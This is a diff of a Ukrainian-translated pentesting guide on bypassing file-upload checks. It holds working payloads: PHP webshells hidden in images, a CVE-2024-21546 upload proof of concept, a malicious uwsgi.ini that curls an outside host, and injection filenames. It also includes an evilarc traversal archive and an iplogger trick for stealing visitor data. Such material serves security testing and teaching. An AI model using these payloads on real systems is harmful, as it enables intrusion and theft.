3. Спробуйте додати **спеціальні символи в кінці.** Ви можете використати Burp для **bruteforce** всіх **ascii** та **Unicode** символів. (_Зауважте, що ви також можете спробувати використати **раніше** згадані **розширення**_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Спробуйте обійти захист, **обманувши парсер розширень** на сервері за допомогою технік, таких як **подвоєння** **розширення** або **додавання сміття** (байти **null**) між розширеннями. _Також можна використати **попередні розширення** для підготовки кращого payload'а._
|
||||
4. Спробуйте обманути парсер розширень на стороні сервера техніками, як-от **подвоєння** **розширення** або **додавання зайвих** даних (**null** bytes) між розширеннями. _Ви також можете використати **попередні розширення**, щоб підготувати кращий payload._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,18 +40,18 @@
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. Додайте **ще один шар розширень** до попередньої перевірки:
|
||||
5. Додайте **ще один шар розширень** до попередніх перевірок:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Спробуйте поставити **виконуване розширення перед валідним розширенням** і сподівайтеся, що сервер налаштований неправильно. (корисно для експлуатації misconfig в Apache, де будь-що з розширенням **.php**, але **не обов'язково закінчуючись на .php**, буде виконувати код):
|
||||
6. Спробуйте помістити **виконувальне розширення перед валідним розширенням** і сподівайтесь, що сервер неправильно налаштовано. (корисно для експлуатації помилкових конфігурацій Apache, де будь-що з розширенням **.php**, але **не обов'язково закінчується на .php**, буде виконуватись):
|
||||
- _ex: file.php.png_
|
||||
7. Використання **NTFS alternate data stream (ADS)** у **Windows**. У цьому випадку після забороненого розширення і перед дозволеним буде вставлено символ двокрапки ":”. В результаті на сервері буде створено **порожній файл із забороненим розширенням** (напр. "file.asax:.jpg”). Цей файл може бути редагований пізніше іншими техніками, наприклад, використовуючи його коротке ім'я. Патерн "**::$data**” також може бути використаний для створення непорожніх файлів. Тому додавання символу крапки після цього патерну може допомогти обійти подальші обмеження (наприклад "file.asp::$data.”)
|
||||
8. Спробуйте перевантажити обмеження на довжину імені файлу. Валідне розширення буде обрізано. А злоякісний PHP залишиться. AAA<--SNIP-->AAA.php
|
||||
7. Використання **NTFS alternate data stream (ADS)** у **Windows**. У цьому випадку після забороненого розширення і перед дозволеним буде вставлено символ двокрапки ":". В результаті на сервері буде створено **порожній файл із забороненим розширенням** (наприклад, "file.asax:.jpg”). Цей файл може бути змінений пізніше за допомогою інших технік, як-от використання його короткої назви файлу. Шаблон "**::$data**” також можна використати для створення непорожніх файлів. Тому додавання символу крапки після цього шаблону також може бути корисним для обходу подальших обмежень (наприклад, "file.asp::$data.”)
|
||||
8. Спробуйте перевантажити ліміти імені файлу. Валідне розширення обрізається. А шкідливий PHP залишається. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
# Upload the file and check response how many characters it alllows. Let's say 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -59,56 +59,86 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Обхід Content-Type, Magic Number, Compression & Resizing
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||
|
||||
- Обійти перевірки **Content-Type**, встановивши значення заголовка **Content-Type**: _image/png_ , _text/plain , application/octet-stream_
|
||||
Деякі обробники завантаження обрізають або нормалізують кінцеві крапки в збереженому імені файлу. В UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) версіях до 2.9.1 можна обійти перевірку розширень, зробивши:
|
||||
|
||||
- Використовуючи валідний image MIME та magic header (наприклад, PNG’s `\x89PNG\r\n\x1a\n`).
|
||||
- Назвавши завантажений файл з PHP-розширенням, за яким слідує крапка, наприклад, `shell.php.`.
|
||||
- Сервер обрізає кінцеву крапку і зберігає `shell.php`, який виконуватиметься, якщо його розміщено в web-доступній директорії (за замовчуванням public storage, як `/storage/files/`).
|
||||
|
||||
Minimal PoC (Burp Repeater):
|
||||
```http
|
||||
POST /profile/avatar HTTP/1.1
|
||||
Host: target
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
|
||||
|
||||
------WebKitFormBoundary
|
||||
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
|
||||
Content-Type: image/png
|
||||
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
Потім зверніться до збереженого шляху (типово для Laravel + LFM):
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
Mitigations:
|
||||
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
|
||||
- Enforce strict server-side allowlists and re-validate the persisted filename.
|
||||
- Serve uploads from non-executable locations.
|
||||
|
||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
- Обійти перевірки **Content-Type**, встановивши **value** **header** **Content-Type** на: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Обійти перевірку **magic number**, додавши на початок файлу **байти реального зображення** (заплутати команду _file_). Або вставити шелл всередину **metadata**:\
|
||||
- Обійти перевірку **magic number**, додавши на початок файлу **байти реального зображення** (заплутати команду _file_). Або вставити шелл у **metadata**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` або також можна **ввести payload безпосередньо** в зображення:\
|
||||
`\` або ви також можете **ввести payload безпосередньо** в зображення:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Якщо до вашого зображення додається **компресія**, наприклад використовуючи стандартні PHP-бібліотеки як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки можуть бути неефективні. Проте можна використати **PLTE chunk** [**техніку, описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки тексту, який **виживе після компресії**.
|
||||
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Веб-сторінка також може **змінювати розмір** зображення, використовуючи, наприклад, PHP-GD функції `imagecopyresized` або `imagecopyresampled`. Проте можна використати **IDAT chunk** [**техніку, описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки тексту, який **виживе після компресії**.
|
||||
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Інша техніка для створення payload'а, який **виживає при зміні розміру зображення**, використовуючи PHP-GD функцію `thumbnailImage`. Проте можна використати **tEXt chunk** [**техніку, описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки тексту, який **виживе після компресії**.
|
||||
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
- Якщо до вашого зображення застосовується **compression**, наприклад за допомогою стандартних PHP-бібліотек на кшталт [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки можуть стати неефективними. Однак ви можете використати **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), щоб вставити текст, який **виживе після стиснення**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Веб-сторінка також може **змінювати розміри (resizing)** зображення, використовуючи, наприклад, PHP-GD функції `imagecopyresized` або `imagecopyresampled`. Однак ви можете використати **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), щоб вставити текст, який **виживе після стиснення**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Інша техніка для створення payload, який **виживе при зміні розміру зображення**, використовуючи PHP-GD функцію `thumbnailImage`. Однак ви можете використати **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), щоб вставити текст, який **виживе після стиснення**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Інші трюки для перевірки
|
||||
### Other Tricks to check
|
||||
|
||||
- Знайти вразливість, яка дозволяє **перейменувати** вже завантажений файл (щоб змінити розширення).
|
||||
- Знайти **Local File Inclusion** вразливість для виконання backdoor'а.
|
||||
- **Можлива витік інформації**:
|
||||
1. Завантажте **кілька разів** (і **одночасно**) **той самий файл** з **тим самим ім'ям**
|
||||
2. Завантажте файл з **іменем** файлу або папки, який **вже існує**
|
||||
3. Завантаження файлу з ім'ям **"." , "..” або "…”**. Наприклад, в Apache на **Windows**, якщо застосунок зберігає завантажені файли в директорії "/www/uploads/”, ім'я файлу "." створить файл "uploads” в директорії "/www/”.
|
||||
4. Завантаження файлу, який може бути важко видалити, наприклад **"…:.jpg”** в **NTFS**. (Windows)
|
||||
5. Завантаження файлу в **Windows** з **недопустимими символами** в імені, такими як `|<>*?”` . (Windows)
|
||||
6. Завантаження файлу в **Windows** з використанням **зарезервованих** (заборонених) імен, таких як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
|
||||
- Спробуйте також **завантажити виконуваний файл** (.exe) або **.html** (менш підозрілий), який **виконає код**, якщо випадково буде відкритий жертвою.
|
||||
- Знайдіть вразливість, яка дозволяє **rename** вже завантажений файл (щоб змінити розширення).
|
||||
- Знайдіть вразливість **Local File Inclusion**, щоб виконати backdoor.
|
||||
- **Possible Information disclosure**:
|
||||
1. Завантажте **кілька разів** (і водночас) **той самий файл** з **тим самим іменем**
|
||||
2. Завантажте файл з **ім'ям** файлу або **папки**, яка **вже існує**
|
||||
3. Завантаження файлу з ім'ям **".”, "..”, або "…”**. Наприклад, в Apache на **Windows**, якщо додаток зберігає завантажені файли в директорії "/www/uploads/” , ім'я файлу "." створить файл з назвою "uploads” в директорії "/www/”.
|
||||
4. Завантаження файлу, який може бути важко видалити, наприклад **"…:.jpg”** на **NTFS**. (Windows)
|
||||
5. Завантаження файлу в **Windows** з **недопустимими символами** у назві, такими як `|<>*?”` . (Windows)
|
||||
6. Завантаження файлу в **Windows** з використанням **зарезервованих** (**заборонених**) **імен**, таких як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
|
||||
- Також спробуйте **upload an executable** (.exe) або **.html** (менш підозріле), яке **виконає код**, коли випадково буде відкрито жертвою.
|
||||
|
||||
### Спеціальні трюки з розширеннями
|
||||
### Special extension tricks
|
||||
|
||||
Якщо ви намагаєтеся завантажити файли на **PHP server**, [погляньте на трюк з **.htaccess** для виконання коду](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Якщо ви намагаєтеся завантажити файли на **ASP server**, [погляньте на трюк з **.config** для виконання коду](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
Якщо ви намагаєтеся завантажити файли на **PHP server**, [зверніть увагу на **.htaccess** трюк для виконання коду](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Якщо ви намагаєтеся завантажити файли на **ASP server**, [перегляньте **.config** трюк для виконання коду](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Файли `.phar` подібні до `.jar` для java, але для php, і можуть бути **використані як php файл** (виконувані з php, або включені всередину скрипту...)
|
||||
Файли `.phar` схожі на `.jar` для java, але для php, і можуть бути **used like a php file** (виконуватися за допомогою php або включатися в скрипт...).
|
||||
|
||||
Розширення `.inc` інколи використовується для php-файлів, які призначені лише для **імпорту інших файлів**, тому інколи може бути дозвіл на **виконання такого розширення**.
|
||||
Розширення `.inc` іноді використовують для php-файлів, які лише **import files**, тому іноді хтось міг дозволити **this extension to be executed**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Якщо ви можете завантажити XML файл на Jetty server, ви можете отримати [RCE, оскільки **нові \*.xml та \*.war обробляються автоматично**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Отже, як показано на наведеному зображенні, завантажте XML файл в `$JETTY_BASE/webapps/` і очікуйте оболонку!
|
||||
Якщо ви можете завантажити XML-файл на Jetty server, ви можете отримати [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Отже, як вказано на зображенні нижче, завантажте XML-файл в `$JETTY_BASE/webapps/` і очікуйте shell!
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
Для детального вивчення цієї вразливості перегляньте оригінальне дослідження: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
Для детального вивчення цієї вразливості перевірте оригінальне дослідження: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Remote Command Execution (RCE) вразливості можуть бути експлуатовані в uWSGI серверах, якщо є можливість змінити `.ini` конфігураційний файл. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "magic" змінних, плейсхолдерів та операторів. Зокрема, оператор '@', що використовується у вигляді `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані зі stdout процесу. Цю можливість можна зловмисно використати для Remote Command Execution або Arbitrary File Write/Read, коли обробляється `.ini` конфігураційний файл.
|
||||
Remote Command Execution (RCE) вразливості можуть бути експлуатовані на uWSGI серверах, якщо є можливість змінити `.ini` configuration file. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "magic" змінних, плейсхолдерів і операторів. Зокрема, оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, оскільки дозволяє читати дані зі standard output процесу. Цю можливість можна зловмисно використовувати для Remote Command Execution або Arbitrary File Write/Read, коли обробляється `.ini` configuration file.
|
||||
|
||||
Розглянемо наступний приклад шкідливого `uwsgi.ini` файлу, що демонструє різні схеми:
|
||||
Розгляньте наступний приклад шкідливого `uwsgi.ini` файлу, що демонструє різні schemes:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -126,14 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Виконання payload відбувається під час парсингу конфігураційного файлу. Щоб конфігурація була активована й розпарсена, процес uWSGI має бути перезапущений (можливо після збою або через Denial of Service атаку) або файл має бути налаштований на auto-reload. Функція auto-reload, якщо увімкнена, перезавантажує файл через вказані інтервали при виявленні змін.
|
||||
Виконання payload відбувається під час парсингу файлу конфігурації. Щоб конфігурація була активована і розібрана, процес uWSGI має бути або перезапущений (ймовірно після крашу або через Denial of Service attack), або файл має бути встановлений на auto-reload. Функція auto-reload, якщо увімкнена, перезавантажує файл через задані інтервали при виявленні змін.
|
||||
|
||||
Важливо розуміти поблажливу природу парсингу конфігураційних файлів uWSGI. Зокрема, обговорюваний payload можна вставити в бінарний файл (наприклад, зображення або PDF), що ще більше розширює поле для потенційної експлуатації.
|
||||
Важливо розуміти лояльний характер парсингу файлу конфігурації uWSGI. Зокрема, обговорюваний payload можна вставити в бінарний файл (наприклад зображення або PDF), що ще більше розширює можливості експлуатації.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
Іноді може трапитися, що сервер використовує **`wget`** для **завантаження файлів** і ви можете **вказати** **URL**. У таких випадках код може перевіряти, чи розширення завантажуваних файлів входить у whitelist, щоб переконатися, що будуть завантажені лише дозволені файли. Однак, **цю перевірку можна обійти.**\
|
||||
Максимальна довжина **filename** в **linux** — **255**, проте **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл під назвою "A"\*232+".php"+".gif"**, ця назва файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **valid** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**.
|
||||
В деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів** і ви можете **вказати** **URL**. У таких випадках код може перевіряти, що розширення завантажуваних файлів знаходиться в whitelist, щоб запевнити, що будуть завантажені лише дозволені файли. Однак, **цю перевірку можна обійти.**\
|
||||
**Максимальна** довжина **імені файлу** в **linux** становить **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл з іменем "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл у **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -156,35 +186,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Зверніть увагу, що **інший варіант**, про який ви можете подумати для обходу цієї перевірки, — змусити **HTTP server redirect to a different file**, тож початковий URL пройде перевірку, а потім wget завантажить перенаправлений файл з новою назвою. Це **не спрацює**, **якщо wget не використовується** з **параметром** `--trust-server-names`, оскільки **wget завантажить перенаправлену сторінку з іменем файлу, вказаним в оригінальному URL**.
|
||||
Зауважте, що **ще один варіант**, який може прийти вам у голову, щоб обійти цю перевірку — змусити **HTTP сервер перенаправити на інший файл**, тож початковий URL пройде перевірку, а потім wget завантажить перенаправлений файл з новим ім'ям. Це **не спрацює** **якщо тільки** wget використовується з **параметром** `--trust-server-names`, тому що **wget завантажить перенаправлену сторінку з ім'ям файлу, вказаним у початковому URL**.
|
||||
|
||||
## Інструменти
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) — потужний інструмент, створений для допомоги Pentesters та Bug Hunters у тестуванні file upload mechanisms. Він використовує різні bug bounty techniques для спрощення процесу виявлення та експлуатації вразливостей, забезпечуючи всебічну оцінку web applications.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) — потужний інструмент, призначений допомагати Pentesters and Bug Hunters у тестуванні механізмів завантаження файлів. Він використовує різні bug bounty techniques, щоб спростити процес ідентифікації та експлуатації вразливостей, забезпечуючи всебічну оцінку web applications.
|
||||
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
|
||||
Деякі legacy upload handlers, які використовують `snprintf()` або подібне для побудови multi-file arrays з single-file upload, можуть бути обдурені для фальсифікації структури `_FILES`. Через невідповідності та усічення в поведінці `snprintf()`, ретельно сформований single upload може виглядати як кілька indexed files на боці сервера, що плутає логіку, яка очікує суворої форми (наприклад, трактуючи це як multi-file upload і виконуючи небезпечні гілки). Хоча сьогодні це нішеве явище, цей “index corruption” pattern іноді з'являється в CTFs та старих codebases.
|
||||
Деякі застарілі обробники завантажень, які використовують `snprintf()` або подібні функції для побудови масивів з багатьма файлами з однофайлового завантаження, можна обдурити, змусивши сфальсифікувати структуру `_FILES`. Через невідповідності та обрізання в поведінці `snprintf()`, ретельно сформоване однофайлове завантаження може виглядати як кілька проіндексованих файлів на боці сервера, плутаючи логіку, яка припускає жорстку структуру (наприклад, трактуючи це як multi-file upload і вибираючи небезпечні гілки). Хоча сьогодні це нішево, цей шаблон “index corruption” час від часу з'являється в CTFs та старих кодових базах.
|
||||
|
||||
## From File upload to other vulnerabilities
|
||||
|
||||
- Встановіть **filename** на `../../../tmp/lol.png` і спробуйте здійснити **path traversal**
|
||||
- Встановіть **filename** на `sleep(10)-- -.jpg` і ви можете добитися **SQL injection**
|
||||
- Встановіть **filename** на `<svg onload=alert(document.domain)>` щоб досягти **XSS**
|
||||
- Встановіть **filename** на `; sleep 10;` щоб протестувати command injection (більше [command injections tricks here](../command-injection.md))
|
||||
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
|
||||
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
|
||||
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
|
||||
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Спробуйте **різні svg payloads** з [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Якщо ви можете вказати web server, щоб захопити image з URL, ви можете спробувати зловживати [SSRF](../ssrf-server-side-request-forgery/index.html). Якщо це **image** буде **saved** на якомусь **public** сайті, ви також можете вказати URL з [https://iplogger.org/invisible/](https://iplogger.org/invisible/) і **вкрасти інформацію кожного відвідувача**.
|
||||
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Спеціально створені PDFs для XSS: на наступній сторінці показано, як **inject PDF data to obtain JS execution** (../xss-cross-site-scripting/pdf-injection.md). Якщо ви можете upload PDFs, ви можете підготувати PDF, який виконуватиме довільний JS згідно з наведеними інструкціями.
|
||||
- Завантажте вміст \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) щоб перевірити, чи сервер використовує будь-який **antivirus**
|
||||
- Перевірте, чи існує будь-яке **size limit** при uploading files
|
||||
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
||||
- Check if there is any **size limit** uploading files
|
||||
|
||||
Ось топ-10 речей, які можна досягти шляхом upload (з [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
@ -197,46 +227,46 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
9. **ZIP**: RCE via LFI / DoS
|
||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||
|
||||
#### Burp Extension
|
||||
#### Розширення Burp
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/portswigger/upload-scanner
|
||||
{{#endref}}
|
||||
|
||||
## Magic Header Bytes
|
||||
## Магічні заголовкові байти
|
||||
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
|
||||
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
|
||||
Якщо ви можете завантажити ZIP, який буде розпакований на сервері, ви можете зробити 2 речі:
|
||||
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
|
||||
|
||||
### Symlink
|
||||
|
||||
Завантажте архів, що містить soft links на інші файли, тоді, отримавши доступ до розпакованих файлів, ви отримаєте доступ до linked files:
|
||||
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Розпаковувати в різні папки
|
||||
### Розпакування в різні папки
|
||||
|
||||
Несподіване створення файлів у директоріях під час розпаковування є серйозною проблемою. Попри початкові припущення, що така конфігурація могла б запобігти OS-level виконанню команд через malicious file uploads, підтримка ієрархічного стиснення та можливості directory traversal формату ZIP можуть бути використані. Це дозволяє атакувальникам обходити обмеження та escape secure upload directories шляхом маніпулювання decompression функціональністю цільового додатка.
|
||||
Несподіване створення файлів у каталогах під час розпакування є серйозною проблемою. Незважаючи на початкові припущення, що така конфігурація може захищати від виконання команд на рівні ОС через шкідливі завантаження файлів, підтримка ієрархічного стиснення та можливості directory traversal формату архівів ZIP можуть бути використані. Це дозволяє атакуючим обійти обмеження та вийти за межі захищених каталогів завантаження, маніпулюючи функцією розпакування цільового додатка.
|
||||
|
||||
Автоматизований експлойт для створення таких файлів доступний за адресою [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Утилітою можна скористатися, як показано:
|
||||
Автоматизований експлойт для створення таких файлів доступний на [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати, як показано:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Також доступна опція — **symlink trick with evilarc**. Якщо метою є націлитися на файл, наприклад `/flag.txt`, слід створити символічне посилання на цей файл у вашій системі. Це гарантує, що evilarc не зіткнеться з помилками під час своєї роботи.
|
||||
